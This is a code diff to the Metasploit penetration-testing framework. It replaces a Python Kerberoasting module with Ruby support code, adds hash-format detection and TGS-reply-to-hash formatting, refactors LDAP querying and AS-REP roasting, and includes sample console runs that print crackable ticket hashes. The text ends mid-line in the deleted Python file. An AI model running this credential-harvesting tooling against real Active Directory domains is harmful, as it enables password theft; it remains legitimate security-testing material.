diff --git a/documentation/modules/auxiliary/gather/get_user_spns.md b/documentation/modules/auxiliary/gather/get_user_spns.md deleted file mode 100644 index d9a8000bbba7..000000000000 --- a/documentation/modules/auxiliary/gather/get_user_spns.md +++ /dev/null @@ -1,31 +0,0 @@ -## Description - -This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain and then submit requests to retrieve Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPNs NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts. - -## Verification Steps - -To avoid library/version conflict, it would be useful to have a pipenv virtual environment. - -* `pipenv --two && pipenv shell` -* Follow the [impacket installation steps](https://github.com/CoreSecurity/impacket#installing) to install the required libraries. -* Have a domain user account credentials -* `./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts ; set smbuser ; set smbpass ; set smbdomain ; run'` -* Get Hashes - -## Scenarios - -``` -$ ./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts ; set smbuser ; set smbpass ; set smbdomain ; run' -rhosts => -smbuser => -smbpass => -smbdomain => -[*] Running for ... -[*] Total of records returned -[+] ServicePrincipalName Name MemberOf PasswordLastSet LastLogon -[+] ------------------------------------------------ ---------- -------------------------------------------------------------------------------- ------------------- ------------------- -[+] SPN... User... List... DateTime... Time... -[+] $krb5tgs$23$*user$realm$test/spn*$ -[*] Scanned 1 of 1 hosts (100% complete) -[*] Auxiliary module execution completed -``` diff --git a/documentation/modules/auxiliary/gather/kerberoast.md b/documentation/modules/auxiliary/gather/kerberoast.md new file mode 100644 index 000000000000..b1e1ccca1784 --- /dev/null +++ b/documentation/modules/auxiliary/gather/kerberoast.md @@ -0,0 +1,72 @@ +## Kerberoast + +This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain, and then submit requests to retrieve Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPN user's NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts. + +## Module usage + +- Start `msfconsole` +- Do: `use auxiliary/gather/kerberoast` +- Do: `run rhost= domain= password= username= target_user=` +- If a target user has been requested, the module will log in to LDAP, find any SPNs associated with that user, and then request that service ticket. +- If no target user has been requested, the module will request service tickets for all available users. +- A crackable value will be displayed for all valid accounts. + + +## Options + +### DOMAIN / LDAPDOMAIN +The Fully Qualified Domain Name (FQDN). Ex: mydomain.local. + +### USERNAME / LDAPUSERNAME +The username to authenticate to the DC with + +### PASSWORD / LDAPPASSWORD +The password to authenticate to the DC with + +### Rhostname + +The hostname of the domain controller. Must be accurate otherwise the module will silently fail, even if users exist without pre-auth required. + +## Scenarios + +### Target user + +To retrieve a TGS for a particular user, set `TARGET_USER`. + +```msf +msf6 auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin target_user=low.admin +[*] Running module against 20.248.208.9 +[+] 20.248.208.9:88 - Received a valid TGT-Response +[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_656516.bin +[+] 20.248.208.9:88 - Received a valid TGS-Response +[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_233943.bin +[+] Success: +$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$faf4a87156a49afd69de3c8b$582f8daec4a5f88fba... +[*] Auxiliary module execution completed +``` + +### All users + +``` +msf6 auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin +[*] Running module against 20.248.208.9 + +[+] 20.248.208.9:88 - Received a valid TGT-Response +[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_281438.bin +[+] 20.248.208.9:88 - Received a valid TGS-Response +[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_360340.bin +[+] 20.248.208.9:88 - Received a valid TGT-Response +[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_642663.bin +[+] 20.248.208.9:88 - Received a valid TGS-Response +[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_556183.bin + +[+] Query returned 2 results. +[+] Success: +$krb5tgs$23$*kerber.roastable$MSF.LOCAL$http/abc2.msf.local*$d335dc07b2c018de2a19e2ecc102bd1d$abc848... +$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$a1c7c1c1e31e36cdb0721928$b69b48... +[!] NOTE: Multiple encryption types returned - will require separate cracking runs for each type. +[*] To obtain the crackable values for a praticular type, run `creds`: +[*] creds -t krb5tgs-rc4 -O 20.248.208.9 -o +[*] creds -t krb5tgs-aes128 -O 20.248.208.9 -o +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/lib/metasploit/framework/hashes.rb b/lib/metasploit/framework/hashes.rb index ede20d1f5624..bb92d28a2c43 100644 --- a/lib/metasploit/framework/hashes.rb +++ b/lib/metasploit/framework/hashes.rb @@ -128,6 +128,14 @@ def self.identify_hash(hash) return 'pbkdf2-sha256' when hash =~ /^\$sntp-ms\$[\da-fA-F]{32}\$[\da-fA-F]{96}$/ return 'timeroast' + when hash =~ /^\$krb5tgs\$23\$\*.+\$[\da-fA-F]{32}\$[\da-fA-F]+$/ + return 'krb5tgs-rc4' + when hash =~ /^\$krb5tgs\$18\$.+\$[\da-fA-F]{24}\$[\da-fA-F]+$/ + return 'krb5tgs-aes256' + when hash =~ /^\$krb5tgs\$17\$.+\$[\da-fA-F]{24}\$[\da-fA-F]+$/ + return 'krb5tgs-aes128' + when hash =~ /^\$krb5asrep\$23\$[^:]+:[\da-fA-F]{32}\$[\da-fA-F]+$/ + return 'krb5asrep-rc4' end '' end diff --git a/lib/metasploit/framework/password_crackers/hashcat/formatter.rb b/lib/metasploit/framework/password_crackers/hashcat/formatter.rb index c912d53cb1e1..3a08fcf06eb2 100644 --- a/lib/metasploit/framework/password_crackers/hashcat/formatter.rb +++ b/lib/metasploit/framework/password_crackers/hashcat/formatter.rb @@ -133,6 +133,8 @@ def add_equals_to_base64(str) nil when /^krb5$/ return "#{cred.id}:#{cred.private.data}" + when /^(krb5.|timeroast$)/ + return cred.private.data end end nil diff --git a/lib/metasploit/framework/password_crackers/jtr/formatter.rb b/lib/metasploit/framework/password_crackers/jtr/formatter.rb index 6949efb1e750..c8d61f899ef5 100644 --- a/lib/metasploit/framework/password_crackers/jtr/formatter.rb +++ b/lib/metasploit/framework/password_crackers/jtr/formatter.rb @@ -78,6 +78,8 @@ def self.hash_to_jtr(cred) when /vnc/ # add a beginning * if one is missing return "$vnc$#{cred.private.data.start_with?('*') ? cred.private.data.upcase : "*#{cred.private.data.upcase}"}" + when /^(krb5.|timeroast$)/ + return cred.private.data else # /mysql|mysql-sha1/ # /mssql|mssql05|mssql12/ diff --git a/lib/msf/core/exploit/remote/kerberos/client/tgs_response.rb b/lib/msf/core/exploit/remote/kerberos/client/tgs_response.rb index aad22c74985b..58d15304cd64 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/tgs_response.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/tgs_response.rb @@ -38,6 +38,30 @@ def extract_kerb_creds(res, key, msg_type: Rex::Proto::Kerberos::Crypto::KeyUsag Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(res, enc_res) end + + # Format from + # https://github.com/hashcat/hashcat/blob/6fce6fb3ff120ed16b300af97cf2144b36edcbe8/src/modules/module_18200.c#L126-L132 + # @param [Rex::Proto::Kerberos::Model::KdcResponse] tgsrep The krb5 tgsrep response + # @param [String] user The username who requested the TGS + # @return [String] A valid string format which can be cracked offline + def format_tgs_rep_to_john_hash(tgsrep, user) + realm = tgsrep.realm.sub(':','~') + etype = Rex::Proto::Kerberos::Crypto::Encryption.from_etype(tgsrep.enc_part.etype) + mac_size = etype.class::MAC_SIZE + cipher = tgsrep.enc_part.cipher + if [Rex::Proto::Kerberos::Crypto::Encryption::AES128, Rex::Proto::Kerberos::Crypto::Encryption::AES256].include?(tgsrep.enc_part.etype) + user_part = "#{user}$#{realm}$*#{tgsrep.sname.name_string.join('/')}*" + # Checksum is at the end + checksum = cipher.last(mac_size) + cipher_part = cipher.first(cipher.length - mac_size) + else + user_part = "*#{user}$#{realm}$#{tgsrep.sname.name_string.join('/')}*" + # Checksum is at the start + checksum = cipher[0..mac_size-1] + cipher_part = cipher[mac_size..] + end + "$krb5tgs$#{tgsrep.enc_part.etype}$#{user_part}$#{checksum.unpack1('H*')}$#{cipher_part.unpack1('H*')}" + end end end end diff --git a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb index 9744ff20261a..9c7d99a15059 100644 --- a/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb +++ b/lib/msf/core/exploit/remote/kerberos/service_authenticator/base.rb @@ -211,6 +211,7 @@ def connect(options = {}) # @param [Hash] options # @option options [String] :credential An explicit credential object to use for authentication. # @option options [Rex::Proto::Kerberos::Model::PrincipalName] :sname The target service principal name. + # @option options [String] :sname The target service principal name. # @option options [String] :mechanism The authentication mechanism. One of the Rex::Proto::Gss::Mechanism constants. # @return [Hash] The security_blob SPNEGO GSS and TGS session key def authenticate(options = {}) @@ -646,6 +647,119 @@ def authenticate_via_kdc(options = {}) { credential: credential, session_key: session_key, krb_enc_key: tgt_result.krb_enc_key } end + # @param [Rex::Proto::Kerberos::Model::EncryptionKey] session_key + # @param [Rex::Proto::Kerberos::Model::Ticket] tgt_ticket + # @param [String] realm + # @param [String] client_name + # @param [Integer] etypes + # @param [Time] expiry_time + # @param [Time] now + # @param [Rex::Proto::Kerberos::Model::PrincipalName] sname + # @param [Hash] options + # @option options [Array] :additional_flags + # Any additional flags to add to the TGS request option flags. The + # FORWARDABLE, RENEWABLE and CANONICALIZE flags are set by default. + # @option options [Array] :additional_tickets + # Any additional tickets to add to the request + # @option options [Array] :pa_data + # Any additional pre-auth data entries to add to the request + # @option options [Msf::Exploit::Remote::Kerberos::Ticket::Storage::Base] :ticket_storage Override the @ticket_storage attribute + # @option options [String] :credential_cache_username The name of user + # corresponding to the requested TGS ticket. This name will be used in + # the info field when the tickets is stored in the database. This can be used + # to override the original username in case of impersonation. + # @raise [Rex::Proto::Kerberos::Model::Error::KerberosError] + # @return [Array] The TGS ticket and the decrypted TGS credentials as a MIT Cache Credential + def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes, expiry_time, now, sname, options = {}) + etypes = etypes.is_a?(::Enumerable) ? etypes : [etypes] + + flags = Set.new([ + Rex::Proto::Kerberos::Model::KdcOptionFlags::FORWARDABLE, + Rex::Proto::Kerberos::Model::KdcOptionFlags::RENEWABLE, + Rex::Proto::Kerberos::Model::KdcOptionFlags::CANONICALIZE, + ]) + if options[:additional_flags].present? + additional_flags = options[:additional_flags] + additional_flags = [additional_flags] unless additional_flags.is_a?(::Enumerable) + flags.merge(additional_flags) + end + ticket_options = Rex::Proto::Kerberos::Model::KdcOptionFlags.from_flags(flags) + + tgs_body_options = { + cname: nil, + sname: sname, + realm: realm, + etype: etypes, + options: ticket_options, + + # Specify nil to ensure the KDC uses the current time for the desired starttime of the requested ticket + from: nil, + till: expiry_time, + rtime: nil, + + # certificate time + ctime: now + } + if options[:additional_tickets].present? + additional_tickets = options[:additional_tickets] + additional_tickets = [additional_tickets] unless additional_tickets.is_a?(::Enumerable) + tgs_body_options[:additional_tickets] = additional_tickets + end + + tgs_options = { + session_key: session_key, + subkey: nil, + checksum: nil, + ticket: tgt_ticket, + realm: realm, + client_name: client_name, + options: ticket_options, + + body: build_tgs_request_body(**tgs_body_options) + } + if options[:pa_data].present? + pa_data = [options[:pa_data]] unless options[:pa_data].is_a?(::Enumerable) + tgs_options[:pa_data] = pa_data + end + + tgs_res = send_request_tgs( + req: build_tgs_request(tgs_options) + ) + + # Verify error codes + if tgs_res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR + raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new(res: tgs_res) + end + + print_good("#{peer} - Received a valid TGS-Response") + + ccache = extract_kerb_creds( + tgs_res, + session_key.value, + msg_type: Rex::Proto::Kerberos::Crypto::KeyUsage::TGS_REP_ENCPART_SESSION_KEY + ) + if options[:credential_cache_username].present? + client = options[:credential_cache_username] + else + client = self.username + end + options.fetch(:ticket_storage, @ticket_storage).store_ccache( + ccache, + host: rhost, + client: client, + server: sname + ) + + tgs_ticket = tgs_res.ticket + tgs_auth = decrypt_kdc_tgs_rep_enc_part( + tgs_res, + session_key.value, + msg_type: Rex::Proto::Kerberos::Crypto::KeyUsage::TGS_REP_ENCPART_SESSION_KEY + ) + + [tgs_ticket, tgs_auth] + end + private # Authenticate with a ticket-granting-service (TGS). This method will not contact the KDC and can not request a @@ -924,119 +1038,6 @@ def request_delegation_ticket(session_key, tgt_ticket, realm, client_name, tgt_e [delegated_tgs_ticket, delegated_tgs_auth] end - # @param [Rex::Proto::Kerberos::Model::EncryptionKey] session_key - # @param [Rex::Proto::Kerberos::Model::Ticket] tgt_ticket - # @param [String] realm - # @param [String] client_name - # @param [Integer] etypes - # @param [Time] expiry_time - # @param [Time] now - # @param [Rex::Proto::Kerberos::Model::PrincipalName] sname - # @param [Hash] options - # @option options [Array] :additional_flags - # Any additional flags to add to the TGS request option flags. The - # FORWARDABLE, RENEWABLE and CANONICALIZE flags are set by default. - # @option options [Array] :additional_tickets - # Any additional tickets to add to the request - # @option options [Array] :pa_data - # Any additional pre-auth data entries to add to the request - # @option options [Msf::Exploit::Remote::Kerberos::Ticket::Storage::Base] :ticket_storage Override the @ticket_storage attribute - # @option options [String] :credential_cache_username The name of user - # corresponding to the requested TGS ticket. This name will be used in - # the info field when the tickets is stored in the database. This can be used - # to override the original username in case of impersonation. - # @raise [Rex::Proto::Kerberos::Model::Error::KerberosError] - # @return [Array] The TGS ticket and the decrypted TGS credentials as a MIT Cache Credential - def request_service_ticket(session_key, tgt_ticket, realm, client_name, etypes, expiry_time, now, sname, options = {}) - etypes = etypes.is_a?(::Enumerable) ? etypes : [etypes] - - flags = Set.new([ - Rex::Proto::Kerberos::Model::KdcOptionFlags::FORWARDABLE, - Rex::Proto::Kerberos::Model::KdcOptionFlags::RENEWABLE, - Rex::Proto::Kerberos::Model::KdcOptionFlags::CANONICALIZE, - ]) - if options[:additional_flags].present? - additional_flags = options[:additional_flags] - additional_flags = [additional_flags] unless additional_flags.is_a?(::Enumerable) - flags.merge(additional_flags) - end - ticket_options = Rex::Proto::Kerberos::Model::KdcOptionFlags.from_flags(flags) - - tgs_body_options = { - cname: nil, - sname: sname, - realm: realm, - etype: etypes, - options: ticket_options, - - # Specify nil to ensure the KDC uses the current time for the desired starttime of the requested ticket - from: nil, - till: expiry_time, - rtime: nil, - - # certificate time - ctime: now - } - if options[:additional_tickets].present? - additional_tickets = options[:additional_tickets] - additional_tickets = [additional_tickets] unless additional_tickets.is_a?(::Enumerable) - tgs_body_options[:additional_tickets] = additional_tickets - end - - tgs_options = { - session_key: session_key, - subkey: nil, - checksum: nil, - ticket: tgt_ticket, - realm: realm, - client_name: client_name, - options: ticket_options, - - body: build_tgs_request_body(**tgs_body_options) - } - if options[:pa_data].present? - pa_data = [options[:pa_data]] unless options[:pa_data].is_a?(::Enumerable) - tgs_options[:pa_data] = pa_data - end - - tgs_res = send_request_tgs( - req: build_tgs_request(tgs_options) - ) - - # Verify error codes - if tgs_res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR - raise ::Rex::Proto::Kerberos::Model::Error::KerberosError.new(res: tgs_res) - end - - print_good("#{peer} - Received a valid TGS-Response") - - ccache = extract_kerb_creds( - tgs_res, - session_key.value, - msg_type: Rex::Proto::Kerberos::Crypto::KeyUsage::TGS_REP_ENCPART_SESSION_KEY - ) - if options[:credential_cache_username].present? - client = options[:credential_cache_username] - else - client = self.username - end - options.fetch(:ticket_storage, @ticket_storage).store_ccache( - ccache, - host: rhost, - client: client, - server: sname - ) - - tgs_ticket = tgs_res.ticket - tgs_auth = decrypt_kdc_tgs_rep_enc_part( - tgs_res, - session_key.value, - msg_type: Rex::Proto::Kerberos::Crypto::KeyUsage::TGS_REP_ENCPART_SESSION_KEY - ) - - [tgs_ticket, tgs_auth] - end - # Search the database for a credential object that can be used for authentication. # # @param [Hash] options diff --git a/lib/msf/core/exploit/remote/ldap/queries.rb b/lib/msf/core/exploit/remote/ldap/queries.rb index 4f373ec7093c..5bbdb4948409 100755 --- a/lib/msf/core/exploit/remote/ldap/queries.rb +++ b/lib/msf/core/exploit/remote/ldap/queries.rb @@ -7,6 +7,50 @@ module Msf ### module Exploit::Remote::LDAP module Queries + def run_builtin_ldap_query(queryname) + fail_with(Msf::Module::Failure::BadConfig, 'Must provide a username for connecting to LDAP') if datastore['LDAPUsername'].blank? + + default_config_file_path = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_default.yaml') + loaded_queries = safe_load_queries(default_config_file_path) || [] + query = loaded_queries.select { |entry| entry['action'] == queryname } + self.ldap_query = query[0] + print_line + result_count = run_ldap_query(ldap_query['filter'], ldap_query['attributes']) do |result| + yield result + end + + if result_count == 0 + print_error("No entries could be found for #{ldap_query['filter']}!") + else + print_line + print_good("Query returned #{result_count} #{'result'.pluralize(result_count)}.") + end + end + + def run_ldap_query(filter_string, attributes) + begin + ldap_connect do |ldap| + validate_bind_success!(ldap) + unless (base_dn = ldap.base_dn) + fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") + end + + schema_dn = ldap.schema_dn + begin + filter = Net::LDAP::Filter.construct(filter_string) + rescue StandardError => e + fail_with(Msf::Module::Failure::BadConfig, "Could not compile the filter #{filter_string}. Error was #{e}") + end + + result_count = perform_ldap_query_streaming(ldap, filter, attributes, base_dn, schema_dn) do |result, _attribute_properties| + yield result + end + end + rescue Rex::ConnectionTimeout => e + fail_with(Msf::Module::Failure::Unreachable, "Could not connect. #{e}") + end + end + def safe_load_queries(filename) begin settings = YAML.safe_load(File.binread(filename)) @@ -20,6 +64,23 @@ def safe_load_queries(filename) settings['queries'] end + def perform_ldap_query(ldap, filter, attributes, base, schema_dn, scope: nil) + results = [] + perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scope: scope) do |result| + results << result + end + + query_result_table = ldap.get_operation_result.table + validate_result!(query_result_table, filter) + + if results.nil? || results.empty? + print_error("No results found for #{filter}.") + return nil + end + + results + end + def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scope: nil) if attributes.nil? || schema_dn.nil? attribute_properties = {} diff --git a/modules/auxiliary/gather/asrep.rb b/modules/auxiliary/gather/asrep.rb index 4774c0b9e7b0..bdd398464a79 100644 --- a/modules/auxiliary/gather/asrep.rb +++ b/modules/auxiliary/gather/asrep.rb @@ -58,11 +58,6 @@ def initialize(info = {}) OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]), ] ) - - default_config_file_path = File.join(::Msf::Config.data_directory, 'auxiliary', 'gather', 'ldap_query', 'ldap_queries_default.yaml') - loaded_queries = safe_load_queries(default_config_file_path) || [] - asrep_roast_query = loaded_queries.select { |entry| entry['action'] == 'ENUM_USER_ASREP_ROASTABLE' } - self.ldap_query = asrep_roast_query[0] end def run @@ -77,13 +72,13 @@ def run def run_brute result_count = 0 user_file = datastore['USER_FILE'] - username = datastore['USERNAME'] + username = datastore['LDAPUsername'] if user_file.blank? && username.blank? fail_with(Msf::Module::Failure::BadConfig, 'User file or username must be specified when brute forcing') end if username.present? begin - roast(datastore['USERNAME']) + roast(datastore['LDAPUsername']) result_count += 1 rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e # User either not present, or requires preauth @@ -111,37 +106,12 @@ def run_brute end def run_ldap - fail_with(Msf::Module::Failure::BadConfig, 'Must provide a username for connecting to LDAP') if datastore['USERNAME'].blank? - - ldap_connect do |ldap| - validate_bind_success!(ldap) - unless (base_dn = ldap.base_dn) - fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") - end - - schema_dn = ldap.schema_dn - filter_string = ldap_query['filter'] - attributes = ldap_query['attributes'] + run_builtin_ldap_query('ENUM_USER_ASREP_ROASTABLE') do |result| + username = result.samaccountname[0] begin - filter = Net::LDAP::Filter.construct(filter_string) - rescue StandardError => e - fail_with(Failure::BadConfig, "Could not compile the filter #{filter_string}. Error was #{e}") - end - - print_line - result_count = perform_ldap_query_streaming(ldap, filter, attributes, base_dn, schema_dn) do |result, _attribute_properties| - username = result.samaccountname[0] - begin - roast(username) - rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e - print_error("#{username} reported as ASREP-roastable, but received error when attempting to retrieve TGT (#{e})") - end - end - if result_count == 0 - print_error("No entries could be found for #{filter_string}!") - else - print_line - print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.") + roast(username) + rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e + print_error("#{username} reported as ASREP-roastable, but received error when attempting to retrieve TGT (#{e})") end end end @@ -150,13 +120,41 @@ def roast(username) res = send_request_tgt( server_name: "krbtgt/#{datastore['domain']}", client_name: username, - realm: datastore['DOMAIN'], + realm: datastore['LDAPDomain'], offered_etypes: etypes, rport: 88, rhost: datastore['RHOST'] ) hash = format_as_rep_to_john_hash(res.as_rep) print_line(hash) + jtr_format = Metasploit::Framework::Hashes.identify_hash(hash) + report_hash(hash, jtr_format) + end + + def report_hash(hash, jtr_format) + service_data = { + address: rhost, + port: rport, + service_name: 'Kerberos', + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + module_fullname: fullname, + origin_type: :service, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: jtr_format + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) end def etypes diff --git a/modules/auxiliary/gather/get_user_spns.py b/modules/auxiliary/gather/get_user_spns.py deleted file mode 100755 index d558adfdbe1e..000000000000 --- a/modules/auxiliary/gather/get_user_spns.py +++ /dev/null @@ -1,462 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- - -# modules -dependencies_missing = False -try: - import sys - from datetime import datetime - from binascii import hexlify, unhexlify - - from pyasn1.codec.der import decoder - from impacket import version - from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_TRUSTED_FOR_DELEGATION, \ - UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION - from impacket.examples import logger - from impacket.examples.utils import parse_credentials - from impacket.krb5 import constants - from impacket.krb5.asn1 import TGS_REP - from impacket.krb5.ccache import CCache - from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS - from impacket.krb5.types import Principal - from impacket.ldap import ldap, ldapasn1 - from impacket.smbconnection import SMBConnection, SessionError - from impacket.ntlm import compute_lmhash, compute_nthash -except ImportError: - dependencies_missing = True - -from metasploit import module - -metadata = { - 'name': 'Gather Ticket Granting Service (TGS) tickets for User Service Principal Names (SPN)', - 'description': ''' - This module will try to find Service Principal Names that are associated with normal user accounts. - Since normal accounts' passwords tend to be shorter than machine accounts, and knowing that a TGS request - will encrypt the ticket with the account the SPN is running under, this could be used for an offline - bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs. - This is part of the kerberoast attack research by Tim Medin (@timmedin). - ''', - 'authors': [ - 'Alberto Solino', # impacket example - 'Jacob Robles' # Metasploit module conversion - ], - 'date': '2014-09-27', - 'license': 'CORE_LICENSE', - 'references': [ - {'type': 'url', 'ref': 'https://github.com/CoreSecurity/impacket/blob/master/examples/GetUserSPNs.py'}, - {'type': 'url', 'ref': 'https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf'} - ], - 'type': 'single_scanner', - 'options': { - 'rhost': {'type': 'address', 'description': 'The target address', 'required': True, 'default': None}, - 'domain': {'type': 'string', 'description': 'The target Active Directory domain', 'required': True, 'default': None}, - 'user': {'type': 'string', 'description': 'Username for a domain account', 'required': True, 'default': None}, - 'pass': {'type': 'string', 'description': 'Password for the domain user account', 'required': True, 'default': None} - }, - 'notes': { - 'AKA': [ - 'GetUserSPNs.py', - 'Kerberoast' - ] - }} - -class GetUserSPNs: - @staticmethod - def printTable(items, header): - colLen = [] - for i, col in enumerate(header): - rowMaxLen = max([len(row[i]) for row in items]) - colLen.append(max(rowMaxLen, len(col))) - - outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) - - # Print header - module.log('{}'.format(outputFormat.format(*header)), level='good') - module.log('{}'.format(' '.join(['-' * itemLen for itemLen in colLen])), level='good') - - # And now the rows - for row in items: - module.log('{}'.format(outputFormat.format(*row)), level='good') - - def __init__(self, username, password, user_domain, target_domain, cmdLineOptions): - self.__username = username - self.__password = password - self.__domain = user_domain - self.__target = None - self.__targetDomain = target_domain - self.__lmhash = '' - self.__nthash = '' - self.__outputFileName = None #options.outputfile - self.__usersFile = None #cmdLineOptions.usersfile - self.__aesKey = None #cmdLineOptions.aesKey - self.__doKerberos = False #cmdLineOptions.k - self.__requestTGS = True #cmdLineOptions.request - # [!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost - self.__kdcIP = cmdLineOptions['dc_ip'] # cmdLineOptions.dc_ip - self.__kdcHost = cmdLineOptions['dc_ip'] #cmdLineOptions.dc_host - self.__saveTGS = False #cmdLineOptions.save - self.__requestUser = None #cmdLineOptions.request_user - #if cmdLineOptions.hashes is not None: - # self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') - - # Create the baseDN - domainParts = self.__targetDomain.split('.') - self.baseDN = '' - for i in domainParts: - self.baseDN += 'dc=%s,' % i - # Remove last ',' - self.baseDN = self.baseDN[:-1] - # We can't set the KDC to a custom IP or Hostname when requesting things cross-domain - # because then the KDC host will be used for both - # the initial and the referral ticket, which breaks stuff. - if user_domain != self.__targetDomain and (self.__kdcIP or self.__kdcHost): - module.log('KDC IP address and hostname will be ignored because of cross-domain targeting.', level='error') - self.__kdcIP = None - self.__kdcHost = None - - def getMachineName(self, target): - try: - s = SMBConnection(target, target) - s.login('', '') - except OSError as e: - if str(e).find('timed out') > 0: - raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' - 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') - else: - raise - except SessionError as e: - if str(e).find('STATUS_NOT_SUPPORTED') > 0: - raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' - 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') - else: - raise - except Exception: - if s.getServerName() == '': - raise Exception('Error while anonymous logging into %s' % target) - else: - s.logoff() - return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName()) - - @staticmethod - def getUnixTime(t): - t -= 116444736000000000 - t /= 10000000 - return t - - def getTGT(self): - domain, _, TGT, _ = CCache.parseFile(self.__domain) - if TGT is not None: - return TGT - - # No TGT in cache, request it - userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - - # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the - # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the - # cleartext password. - # If no clear text password is provided, we just go with the defaults. - if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''): - try: - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain, - compute_lmhash(self.__password), - compute_nthash(self.__password), self.__aesKey, - kdcHost=self.__kdcIP) - except Exception as e: - module.log('TGT: %s' % str(e), level='error') - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, - unhexlify(self.__lmhash), - unhexlify(self.__nthash), self.__aesKey, - kdcHost=self.__kdcIP) - - else: - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, - unhexlify(self.__lmhash), - unhexlify(self.__nthash), self.__aesKey, - kdcHost=self.__kdcIP) - TGT = {} - TGT['KDC_REP'] = tgt - TGT['cipher'] = cipher - TGT['sessionKey'] = sessionKey - - return TGT - - def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): - decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] - - # According to RFC4757 (RC4-HMAC) the cipher part is like: - # struct EDATA { - # struct HEADER { - # OCTET Checksum[16]; - # OCTET Confounder[8]; - # } Header; - # OCTET Data[0]; - # } edata; - # - # In short, we're interested in splitting the checksum and the rest of the encrypted data - # - # Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96) - # last 12 bytes of the encrypted ticket represent the checksum of the decrypted - # ticket - if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: - entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( - constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], - spn.replace(':', '~'), - hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), - 